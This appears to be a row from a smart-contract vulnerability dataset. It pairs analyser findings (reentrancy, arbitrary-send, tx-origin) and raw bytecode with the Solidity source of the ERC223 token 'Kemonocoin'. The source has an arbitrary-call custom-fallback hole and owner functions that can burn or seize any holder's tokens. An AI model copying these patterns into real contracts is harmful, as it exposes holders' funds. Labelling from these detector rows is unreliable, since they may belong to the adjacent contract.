56c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105de565b6000611fd683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061238a565b6002546120b69030906001600160a01b031684611402565b600254601f5460405163f305d71960e01b81526001600160a01b039283169263f305d7199285926120f692309289926000928392169042906004016128b7565b60606040518083038185885af1158015612114573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611f8d91906128f2565b600e541580156121495750601054155b80156121555750601254155b80156121615750601454155b801561216d5750601654155b80156121795750601854155b1561218057565b600e8054600f556010805460115560128054601355601480546015556016805460175560188054601955600095869055938590559184905583905582905555565b600080600080600043600d54600c546121da9190612882565b106121f15750606392506021915081905080612226565b6121fa866123b8565b9350851561221657601454925060165491506018549050612226565b600e549250601054915060125490505b60006122376064611e248a88611fdd565b9050846122448583612863565b61224e91906129c5565b601a600082825461225f9190612882565b909155508590506122708483612863565b61227a91906129c5565b601b600082825461228b9190612882565b9091555085905061229c8383612863565b6122a691906129c5565b601c60008282546122b79190612882565b909155505080156122cd576122cd8930836122e4565b6122d7818961293d565b9998505050505050505050565b6001600160a01b0383166000908152600460205260409020546123079082611f94565b6001600160a01b03808516600090815260046020526040808220939093559084168152205461233690826123f0565b6001600160a01b0380841660008181526004602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061151a9085815260200190565b600081836123ab5760405162461bcd60e51b81526004016105de919061244f565b506000611b9084866129c5565b600081156123dd576018546016546014546123d39190612882565b6105ae9190612882565b601254601054600e546123d39190612882565b6000806123fd8385612882565b905083811015611fd65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105de565b600060208083528351808285015260005b8181101561247c57858101830151858201604001528201612460565b8181111561248e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a3357600080fd5b80356124c4816124a4565b919050565b600080604083850312156124dc57600080fd5b82356124e7816124a4565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b8015158114610a3357600080fd5b80356124c48161250b565b6000806040838503121561253757600080fd5b823567ffffffffffffffff8082111561254f57600080fd5b818501915085601f83011261256357600080fd5b8135602082821115612577576125776124f5565b8160051b604051601f19603f8301168101818110868211171561259c5761259c6124f5565b6040529283528183019350848101820192898411156125ba57600080fd5b948201945b838610156125df576125d0866124b9565b855294820194938201936125bf565b96506125ee9050878201612519565b9450505050509250929050565b60008060006060848603121561261057600080fd5b505081359360208301359350604090920135919050565b60008060006060848603121561263c57600080fd5b8335612647816124a4565b92506020840135612657816124a4565b929592945050506040919091013590565b60006020828403121561267a57600080fd5b5035919050565b60006020828403121561269357600080fd5b8135611fd6816124a4565b6000602082840312156126b057600080fd5b8135611fd68161250b565b600080604083850312156126ce57600080fd5b82356126d9816124a4565b915060208301356126e9816124a4565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156127695761276961273f565b5060010190565b600181815b808511156127ab5781600019048211156127915761279161273f565b8085161561279e57918102915b93841c9390800290612775565b509250929050565b6000826127c2575060016105ae565b816127cf575060006105ae565b81600181146127e557600281146127ef5761280b565b60019150506105ae565b60ff8411156128005761280061273f565b50506001821b6105ae565b5060208310610133831016604e8410600b841016171561282e575081810a6105ae565b6128388383612770565b806000190482111561284c5761284c61273f565b029392505050565b6000611fd660ff8416836127b3565b600081600019048311821515161561287d5761287d61273f565b500290565b600082198211156128955761289561273f565b500190565b6000602082840312156128ac57600080fd5b8151611fd6816124a4565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b60008060006060848603121561290757600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561293257600080fd5b8151611fd68161250b565b60008282101561294f5761294f61273f565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156129a45784516001600160a01b03168352938301939183019160010161297f565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826129e257634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d42c457b1004b3dd141ec216a420a8eec1d204304c8eb3b8f822512e60b6a8e464736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,969 |
0x7f32d1959b5361e884df8c9d017a03f4ce29c8b2
|
// { : 爻'" /∧::∨::∧:::', \}
// >'" / {ノ ゝ-'゙ ヘ:} 、 . \
// // / | i ト、\ ヽ. /
// / :/ :| | :| | ',', ∨/ /
//. / / | ∧ リ ', | ∨/ /
// / ,' ハ { _,.斗- `7‐ - | } ∨
// // :| ,' V´ \ / ムト、 ∧
// ,'/ | | .ィ==ミ、\ ,ィ==ミ、ム| / ',
// ,' | ゝ、 | {{ }} V{{ }} {/|: / }
// | :| `ト、. ゝ、 ゞ=彡' ゞ=彡' ゝムイ: |i
// | :| ゝ、``'ト ' У:リ: |i
// | '. ヽ ヽ人 / ̄ ̄ 〕 ィi( /: /:|
// '. '. \ )h。. _ `ー一' . イ__ア{: ∧ ノ
// _ /^i /^i ヽ. {\ i⌒∧ ∧ィ,ィ,斗i〔〕>'⌒'>'⌒ ヽ}{{⌒ ヽ=≦
//./ ) { { | { _` ``~'^\{ { 0o。ゝ≧ こ`¨ ¨´ア´___ ヽ \
//,\ヽ`、\| | ( ヽ ∧ ゚ o 。 i{_。_}_\`⌒ ´ \__>‐ 、
//、\) `' _ |__/ / / ノ o / (_`⌒ ` 、 ``~、',
//. \ } / ゝr‐'''´ || ``ー-‐ ≦ ≧。s。. ゚Oo``ヽ
pragma solidity ^0.4.20;
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC223 {
uint public totalSupply;
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract Kemonocoin is ERC223, Ownable {
using SafeMath for uint256;
string public name = "Kemonocoin";
string public symbol = "KEM";
uint8 public decimals = 7;
uint256 public initialSupply = 5e10 * 1e7;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping (address => uint) balances;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function Kemonocoin() public {
totalSupply = initialSupply;
balances[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
modifier onlyPayloadSize(uint256 size){
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint i = 0; i < targets.length; i++) {
require(targets[i] != 0x0);
frozenAccount[targets[i]] = isFrozen;
FrozenFunds(targets[i], isFrozen);
}
}
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint i = 0; i < targets.length; i++){
require(unlockUnixTime[targets[i]] < unixTimes[i]);
unlockUnixTime[targets[i]] = unixTimes[i];
LockedFunds(targets[i], unixTimes[i]);
}
}
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf(_from) >= _unitAmount);
balances[_from] = SafeMath.sub(balances[_from], _unitAmount);
totalSupply = SafeMath.sub(totalSupply, _unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = SafeMath.add(totalSupply, _unitAmount);
balances[_to] = SafeMath.add(balances[_to], _unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function distributeTokens(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = SafeMath.mul(amount, 1e8);
uint256 totalAmount = SafeMath.mul(amount, addresses.length);
require(balances[msg.sender] >= totalAmount);
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amount);
Transfer(msg.sender, addresses[i], amount);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], totalAmount);
return true;
}
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint i = 0; i < addresses.length; i++) {
require(amounts[i] > 0
&& addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
amounts[i] = SafeMath.mul(amounts[i], 1e8);
require(balances[addresses[i]] >= amounts[i]);
balances[addresses[i]] = SafeMath.sub(balances[addresses[i]], amounts[i]);
totalAmount = SafeMath.add(totalAmount, amounts[i]);
Transfer(addresses[i], msg.sender, amounts[i]);
}
balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf(owner) >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if (msg.value > 0) owner.transfer(msg.value);
balances[owner] = SafeMath.sub(balances[owner], distributeAmount);
balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
function() payable public {
autoDistribute();
}
}
|
0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461014857806306fdde031461017557806318160ddd14610203578063256fa2411461022c578063313ce567146102a7578063378dc3dc146102d657806340c10f19146102ff5780634f25eced1461035957806364ddc6051461038257806370a082311461041c5780637d64bcb4146104695780638da5cb5b1461049657806395d89b41146104eb5780639dc29fac14610579578063a8f11eb9146105bb578063a9059cbb146105c5578063b414d4b61461061f578063be45fd6214610670578063c341b9f61461070d578063cbbe974b14610772578063d39b1d48146107bf578063f0dc4171146107e2578063f2fde38b14610894578063f6368f8a146108cd575b6101466109ad565b005b341561015357600080fd5b61015b610cf3565b604051808215151515815260200191505060405180910390f35b341561018057600080fd5b610188610d06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c85780820151818401526020810190506101ad565b50505050905090810190601f1680156101f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020e57600080fd5b610216610dae565b6040518082815260200191505060405180910390f35b341561023757600080fd5b61028d600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019091905050610db8565b604051808215151515815260200191505060405180910390f35b34156102b257600080fd5b6102ba6111e3565b604051808260ff1660ff16815260200191505060405180910390f35b34156102e157600080fd5b6102e96111fa565b6040518082815260200191505060405180910390f35b341561030a57600080fd5b61033f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611200565b604051808215151515815260200191505060405180910390f35b341561036457600080fd5b61036c6113e5565b6040518082815260200191505060405180910390f35b341561038d57600080fd5b61041a600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506113eb565b005b341561042757600080fd5b610453600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115ef565b6040518082815260200191505060405180910390f35b341561047457600080fd5b61047c611638565b604051808215151515815260200191505060405180910390f35b34156104a157600080fd5b6104a9611700565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104f657600080fd5b6104fe611726565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053e578082015181840152602081019050610523565b50505050905090810190601f16801561056b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561058457600080fd5b6105b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506117ce565b005b6105c36109ad565b005b34156105d057600080fd5b610605600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061193d565b604051808215151515815260200191505060405180910390f35b341561062a57600080fd5b610656600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ad7565b604051808215151515815260200191505060405180910390f35b341561067b57600080fd5b6106f3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611af7565b604051808215151515815260200191505060405180910390f35b341561071857600080fd5b6107706004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080351515906020019091905050611c88565b005b341561077d57600080fd5b6107a9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e2a565b6040518082815260200191505060405180910390f35b34156107ca57600080fd5b6107e06004808035906020019091905050611e42565b005b34156107ed57600080fd5b61087a60048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611ea8565b604051808215151515815260200191505060405180910390f35b341561089f57600080fd5b6108cb600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612355565b005b34156108d857600080fd5b610993600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506124ad565b604051808215151515815260200191505060405180910390f35b60006007541180156109eb57506007546109e8600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166115ef565b10155b8015610a47575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610a915750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515610a9c57600080fd5b6000341115610b0857600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515610b0757600080fd5b5b610b7560096000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007546129a3565b60096000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c25600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007546129bc565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040518082815260200191505060405180910390a3565b600860009054906101000a900460ff1681565b610d0e612f42565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610da45780601f10610d7957610100808354040283529160200191610da4565b820191906000526020600020905b815481529060010190602001808311610d8757829003601f168201915b5050505050905090565b6000600654905090565b60008060008084118015610dcd575060008551115b8015610e29575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610e735750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515610e7e57600080fd5b610e8c846305f5e1006129da565b9350610e998486516129da565b915081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610ee957600080fd5b600090505b845181101561114b5760008582815181101515610f0757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614158015610f9c575060001515600a60008784815181101515610f4657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610ffd5750600b60008683815181101515610fb557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561100857600080fd5b61106860096000878481518110151561101d57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054856129bc565b60096000878481518110151561107a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084818151811015156110d057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a38080600101915050610eee565b611194600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836129a3565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b6000600460009054906101000a900460ff16905090565b60055481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561125e57600080fd5b600860009054906101000a900460ff1615151561127a57600080fd5b60008211151561128957600080fd5b611295600654836129bc565b6006819055506112e4600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836129bc565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60075481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561144957600080fd5b6000835111801561145b575081518351145b151561146657600080fd5b600090505b82518110156115ea57818181518110151561148257fe5b90602001906020020151600b6000858481518110151561149e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156114ef57600080fd5b81818151811015156114fd57fe5b90602001906020020151600b6000858481518110151561151957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110151561156f57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c157783838151811015156115be57fe5b906020019060200201516040518082815260200191505060405180910390a2808060010191505061146b565b505050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561169657600080fd5b600860009054906101000a900460ff161515156116b257600080fd5b6001600860006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61172e612f42565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117c45780601f10611799576101008083540402835291602001916117c4565b820191906000526020600020905b8154815290600101906020018083116117a757829003601f168201915b5050505050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561182a57600080fd5b60008111801561184257508061183f836115ef565b10155b151561184d57600080fd5b611896600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826129a3565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118e5600654826129a3565b6006819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b6000611947612f56565b6000831180156119a7575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611a03575060001515600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611a4d5750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b8015611a975750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611aa257600080fd5b611aab84612a15565b15611ac257611abb848483612a28565b9150611ad0565b611acd848483612d49565b91505b5092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008083118015611b58575060001515600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611bb4575060001515600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611bfe5750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b8015611c485750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611c5357600080fd5b611c5c84612a15565b15611c7357611c6c848484612a28565b9050611c81565b611c7e848484612d49565b90505b9392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ce657600080fd5b60008351111515611cf657600080fd5b600090505b8251811015611e255760008382815181101515611d1457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515611d4157600080fd5b81600a60008584815181101515611d5457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508281815181101515611dbd57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a28080600101915050611cfb565b505050565b600b6020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e9e57600080fd5b8060078190555050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f0957600080fd5b60008551118015611f1b575083518551145b1515611f2657600080fd5b60009150600090505b84518110156122bd5760008482815181101515611f4857fe5b90602001906020020151118015611f8d575060008582815181101515611f6a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614155b8015612000575060001515600a60008784815181101515611faa57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156120615750600b6000868381518110151561201957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561206c57600080fd5b612091848281518110151561207d57fe5b906020019060200201516305f5e1006129da565b848281518110151561209f57fe5b906020019060200201818152505083818151811015156120bb57fe5b906020019060200201516009600087848151811015156120d757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561212957600080fd5b6121a060096000878481518110151561213e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858381518110151561219157fe5b906020019060200201516129a3565b6009600087848151811015156121b257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061221b82858381518110151561220c57fe5b906020019060200201516129bc565b91503373ff